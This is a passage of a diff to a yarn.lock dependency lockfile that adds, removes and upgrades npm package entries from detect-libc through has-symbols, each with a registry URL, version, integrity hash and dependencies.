+  resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.3.tgz#f0cd503b40f9939b894697d19ad50895e30cf700"
+  integrity sha512-bwy0MGW55bG41VqxxypOsdSdGqLwXPI/focwgTYCFMbdUiBAxLg9CFzG08sz2aqzknwiX7Hkl0bQENjg8iLByw==
+
 detect-newline@^3.0.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
@@ -4393,14 +4614,10 @@ detect-port-alt@^1.1.6:
     address "^1.0.1"
     debug "^2.6.0"
 
-detective@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/detective/-/detective-5.2.1.tgz#6af01eeda11015acb0e73f933242b70f24f91034"
-  integrity sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==
-  dependencies:
-    acorn-node "^1.8.2"
-    defined "^1.0.0"
-    minimist "^1.2.6"
+devtools-ignore-webpack-plugin@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/devtools-ignore-webpack-plugin/-/devtools-ignore-webpack-plugin-0.2.0.tgz#a7b3d1bd0f593c7fee5cbb7534b07860e5e2447c"
+  integrity sha512-4P+1Y1VhSt1MRBRF6my8N1bs9nNMOFfIFSBHI6u18W73iCHWXNHTSWYeMoQQ72PIIHrP1q4koKpYg1Em3jb9Rw==
 
 didyoumean@^1.2.2:
   version "1.2.2"
@@ -4523,15 +4740,15 @@ duplexer@^0.1.2:
   resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
   integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
 
+eastasianwidth@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
+  integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
+
 ee-first@1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
 
-electron-to-chromium@^1.3.612:
-  version "1.3.617"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.617.tgz#4192fa4db846c6ad51fffe3a06e71727e9699a74"
-  integrity sha512-yHXyI0fHnU0oLxdu21otLYpW3qwkbo8EBTpqeS9w14fwNjFy65SG6unrS3Gg+wX1JKWlAFCcNt13fG0nsCo/1A==
-
 electron-to-chromium@^1.3.73:
   version "1.3.73"
   resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.73.tgz#aa67787067d58cc3920089368b3b8d6fe0fc12f6"
@@ -4546,6 +4763,11 @@ electron-to-chromium@^1.4.431:
   resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.435.tgz#761c34300603b9f1234f0b6155870d3002435db6"
   integrity sha512-B0CBWVFhvoQCW/XtjRzgrmqcgVWg6RXOEM/dK59+wFV93BFGR6AeNKc4OyhM+T3IhJaOOG8o/V+33Y2mwJWtzw==
 
+electron-to-chromium@^1.5.4:
+  version "1.5.12"
+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.12.tgz#ee31756eaa2e06f2aa606f170b7ad06dd402b4e4"
+  integrity sha512-tIhPkdlEoCL1Y+PToq3zRNehUaKp3wBX/sr7aclAWdIWjvqAe/Im/H0SiCM4c1Q8BLPHCdoJTol+ZblflydehA==
+
 emittery@^0.10.2:
   version "0.10.2"
   resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.10.2.tgz#902eec8aedb8c41938c46e9385e9db7e03182933"
@@ -4560,15 +4782,27 @@ emoji-regex@^8.0.0:
   version "8.0.0"
   resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
 
+emoji-regex@^9.2.2:
+  version "9.2.2"
+  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
+
 emojis-list@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
   integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
 
-enhanced-resolve@^5.10.0:
-  version "5.10.0"
-  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.10.0.tgz#0dc579c3bb2a1032e357ac45b8f3a6f3ad4fb1e6"
-  integrity sha512-T0yTFjdpldGY8PmuXXR0PyQ1ufZpEGiHVrp7zHKB7jdR4qlmZHhONVM5AQOAWXuF/w3dnHbEQVrNptJgt7F+cQ==
+end-of-stream@^1.1.0, end-of-stream@^1.4.1:
+  version "1.4.4"
+  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
+  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+  dependencies:
+    once "^1.4.0"
+
+enhanced-resolve@^5.17.0:
+  version "5.17.1"
+  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz#67bfbbcc2f81d511be77d686a90267ef7f898a15"
+  integrity sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==
   dependencies:
     graceful-fs "^4.2.4"
     tapable "^2.2.0"
@@ -4610,22 +4844,97 @@ es-abstract@^1.12.0:
     string.prototype.trimleft "^2.1.0"
     string.prototype.trimright "^2.1.0"
 
-es-abstract@^1.5.1:
-  version "1.12.0"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.12.0.tgz#9dbbdd27c6856f0001421ca18782d786bf8a6165"
+es-abstract@^1.17.2, es-abstract@^1.22.1, es-abstract@^1.22.3, es-abstract@^1.23.0, es-abstract@^1.23.2:
+  version "1.23.3"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.3.tgz#8f0c5a35cd215312573c5a27c87dfd6c881a0aa0"
+  integrity sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    arraybuffer.prototype.slice "^1.0.3"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.7"
+    data-view-buffer "^1.0.1"
+    data-view-byte-length "^1.0.1"
+    data-view-byte-offset "^1.0.0"
+    es-define-property "^1.0.0"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-set-tostringtag "^2.0.3"
+    es-to-primitive "^1.2.1"
+    function.prototype.name "^1.1.6"
+    get-intrinsic "^1.2.4"
+    get-symbol-description "^1.0.2"
+    globalthis "^1.0.3"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.0.3"
+    has-symbols "^1.0.3"
+    hasown "^2.0.2"
+    internal-slot "^1.0.7"
+    is-array-buffer "^3.0.4"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.1"
+    is-negative-zero "^2.0.3"
+    is-regex "^1.1.4"
+    is-shared-array-buffer "^1.0.3"
+    is-string "^1.0.7"
+    is-typed-array "^1.1.13"
+    is-weakref "^1.0.2"
+    object-inspect "^1.13.1"
+    object-keys "^1.1.1"
+    object.assign "^4.1.5"
+    regexp.prototype.flags "^1.5.2"
+    safe-array-concat "^1.1.2"
+    safe-regex-test "^1.0.3"
+    string.prototype.trim "^1.2.9"
+    string.prototype.trimend "^1.0.8"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.2"
+    typed-array-byte-length "^1.0.1"
+    typed-array-byte-offset "^1.0.2"
+    typed-array-length "^1.0.6"
+    unbox-primitive "^1.0.2"
+    which-typed-array "^1.1.15"
+
+es-array-method-boxes-properly@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz#873f3e84418de4ee19c5be752990b2e44718d09e"
+  integrity sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==
+
+es-define-property@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845"
+  integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==
   dependencies:
-    es-to-primitive "^1.1.1"
-    function-bind "^1.1.1"
-    has "^1.0.1"
-    is-callable "^1.1.3"
-    is-regex "^1.0.4"
+    get-intrinsic "^1.2.4"
+
+es-errors@^1.2.1, es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-module-lexer@^1.2.1:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.5.4.tgz#a8efec3a3da991e60efa6b633a7cad6ab8d26b78"
+  integrity sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw==
 
-es-module-lexer@^0.9.0:
-  version "0.9.3"
-  resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-0.9.3.tgz#6f13db00cc38417137daf74366f535c8eb438f19"
-  integrity sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==
+es-object-atoms@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941"
+  integrity sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.3.tgz#8bb60f0a440c2e4281962428438d58545af39777"
+  integrity sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==
+  dependencies:
+    get-intrinsic "^1.2.4"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.1"
 
-es-to-primitive@^1.1.1, es-to-primitive@^1.2.0:
+es-to-primitive@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.0.tgz#edf72478033456e8dda8ef09e00ad9650707f377"
   dependencies:
@@ -4633,11 +4942,25 @@ es-to-primitive@^1.1.1, es-to-primitive@^1.2.0:
     is-date-object "^1.0.1"
     is-symbol "^1.0.2"
 
+es-to-primitive@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
+  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+  dependencies:
+    is-callable "^1.1.4"
+    is-date-object "^1.0.1"
+    is-symbol "^1.0.2"
+
 escalade@^3.1.1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
   integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
 
+escalade@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.2.tgz#54076e9ab29ea5bf3d8f1ed62acffbb88272df27"
+  integrity sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==
+
 escape-string-regexp@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
@@ -4720,6 +5043,11 @@ exit@^0.1.2:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
 
+expand-template@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/expand-template/-/expand-template-2.0.3.tgz#6e14b3fcee0f3a6340ecb57d2e8918692052a47c"
+  integrity sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==
+
 expect@^27.5.1:
   version "27.5.1"
   resolved "https://registry.yarnpkg.com/expect/-/expect-27.5.1.tgz#83ce59f1e5bdf5f9d2b94b61d2050db48f3fef74"
@@ -4746,7 +5074,7 @@ fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
   resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
   integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
 
-fast-glob@^3.2.11, fast-glob@^3.2.9:
+fast-glob@^3.2.9:
   version "3.2.11"
   resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.11.tgz#a1172ad95ceb8a16e20caa5c5e56480e5129c1d9"
   integrity sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==
@@ -4757,6 +5085,17 @@ fast-glob@^3.2.11, fast-glob@^3.2.9:
     merge2 "^1.3.0"
     micromatch "^4.0.4"
 
+fast-glob@^3.3.0:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.3.2.tgz#a904501e57cfdd2ffcded45e99a54fef55e46129"
+  integrity sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==
+  dependencies:
+    "@nodelib/fs.stat" "^2.0.2"
+    "@nodelib/fs.walk" "^1.2.3"
+    glob-parent "^5.1.2"
+    merge2 "^1.3.0"
+    micromatch "^4.0.4"
+
 fast-json-stable-stringify@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
@@ -4831,6 +5170,21 @@ find-up@^5.0.0:
     locate-path "^6.0.0"
     path-exists "^4.0.0"
 
+for-each@^0.3.3:
+  version "0.3.3"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
+  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
+  dependencies:
+    is-callable "^1.1.3"
+
+foreground-child@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.0.tgz#0ac8644c06e431439f8561db8ecf29a7b5519c77"
+  integrity sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==
+  dependencies:
+    cross-spawn "^7.0.0"
+    signal-exit "^4.0.1"
+
 fork-ts-checker-webpack-plugin@^6.5.0:
   version "6.5.2"
   resolved "https://registry.yarnpkg.com/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.2.tgz#4f67183f2f9eb8ba7df7177ce3cf3e75cdafb340"
@@ -4864,6 +5218,11 @@ fraction.js@^4.2.0:
   resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.2.0.tgz#448e5109a313a3527f5a3ab2119ec4cf0e0e2950"
   integrity sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==
 
+fs-constants@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs-constants/-/fs-constants-1.0.0.tgz#6be0de9be998ce16af8afc24497b9ee9b7ccd9ad"
+  integrity sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==
+
 fs-extra@^10.0.0:
   version "10.1.0"
   resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-10.1.0.tgz#02873cfbc4084dde127eaa5f9905eef2325d1abf"
@@ -4901,6 +5260,26 @@ function-bind@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
 
+function-bind@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+
+function.prototype.name@^1.1.6:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.6.tgz#cdf315b7d90ee77a4c6ee216c3c3362da07533fd"
+  integrity sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==
+  dependencies:
+    call-bind "^1.0.2"
+    define-properties "^1.2.0"
+    es-abstract "^1.22.1"
+    functions-have-names "^1.2.3"
+
+functions-have-names@^1.2.3:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834"
+  integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==
+
 gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2:
   version "1.0.0-beta.2"
   resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
@@ -4920,14 +5299,16 @@ get-intrinsic@^1.0.0:
     has "^1.0.3"
     has-symbols "^1.0.1"
 
-get-intrinsic@^1.0.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.2.tgz#336975123e05ad0b7ba41f152ee4aadbea6cf598"
-  integrity sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==
+get-intrinsic@^1.1.3, get-intrinsic@^1.2.1, get-intrinsic@^1.2.3, get-intrinsic@^1.2.4:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd"
+  integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==
   dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    has-proto "^1.0.1"
     has-symbols "^1.0.3"
+    hasown "^2.0.0"
 
 get-package-type@^0.1.0:
   version "0.1.0"
@@ -4939,6 +5320,20 @@ get-stream@^6.0.0:
   resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
   integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
 
+get-symbol-description@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.2.tgz#533744d5aa20aca4e079c8e5daf7fd44202821f5"
+  integrity sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==
+  dependencies:
+    call-bind "^1.0.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+
+github-from-package@0.0.0:
+  version "0.0.0"
+  resolved "https://registry.yarnpkg.com/github-from-package/-/github-from-package-0.0.0.tgz#97fb5d96bfde8973313f20e8288ef9a167fa64ce"
+  integrity sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==
+
 glob-parent@^5.1.2, glob-parent@~5.1.2:
   version "5.1.2"
   resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
@@ -4958,6 +5353,18 @@ glob-to-regexp@^0.4.1:
   resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
   integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
 
+glob@^10.3.10:
+  version "10.4.5"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.5.tgz#f4d9f0b90ffdbab09c9d77f5f29b4262517b0956"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
 glob@^7.1.1, glob@^7.1.2:
   version "7.1.3"
   resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.3.tgz#3960832d3f1574108342dafd3a67b332c0969df1"
@@ -4999,6 +5406,14 @@ globals@^11.1.0:
   version "11.8.0"
   resolved "https://registry.yarnpkg.com/globals/-/globals-11.8.0.tgz#c1ef45ee9bed6badf0663c5cb90e8d1adec1321d"
 
+globalthis@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
 globby@^11.0.4:
   version "11.1.0"
   resolved "https://registry.yarnpkg.com/globby/-/globby-11.1.0.tgz#bd4be98bb042f83d796f7e3811991fbe82a0d34b"
@@ -5011,6 +5426,13 @@ globby@^11.0.4:
     merge2 "^1.4.1"
     slash "^3.0.0"
 
+gopd@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c"
+  integrity sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==
+  dependencies:
+    get-intrinsic "^1.1.3"
+
 graceful-fs@^4.1.2, graceful-fs@^4.1.6:
   version "4.1.11"
   resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.1.11.tgz#0e8bdfe4d1ddb8854d64e04ea7c00e2a026e5658"
@@ -5019,6 +5441,11 @@ graceful-fs@^4.2.0:
   version "4.2.3"
   resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.3.tgz#4a12ff1b60376ef09862c2093edd908328be8423"
 
+graceful-fs@^4.2.11:
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
 graceful-fs@^4.2.4:
   version "4.2.4"
   resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.4.tgz#2256bde14d3632958c465ebc96dc467ca07a29fb"
@@ -5040,6 +5467,11 @@ harmony-reflect@^1.4.6:
   version "1.6.1"
   resolved "https://registry.yarnpkg.com/harmony-reflect/-/harmony-reflect-1.6.1.tgz#c108d4f2bb451efef7a37861fdbdae72c9bdefa9"
 
+has-bigints@^1.0.1, has-bigints@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.2.tgz#0871bd3e3d51626f6ca0966668ba35d5602d6eaa"
+  integrity sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==
+
 has-flag@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
@@ -5049,6 +5481,18 @@ has-flag@^4.0.0:
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
 
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.0.1, has-proto@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd"
+  integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==
+
 has-symbols@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.0.tgz#ba1a8f1af2a0fc39650f5c850367704122063b44"
@@ -5058,17 +5502,31 @@ has-symbols@^1.0.1:
   resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.1.tgz#9f5214758a44196c406d9bd76cebf81ec2dd31e8"
   integrity sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==
 
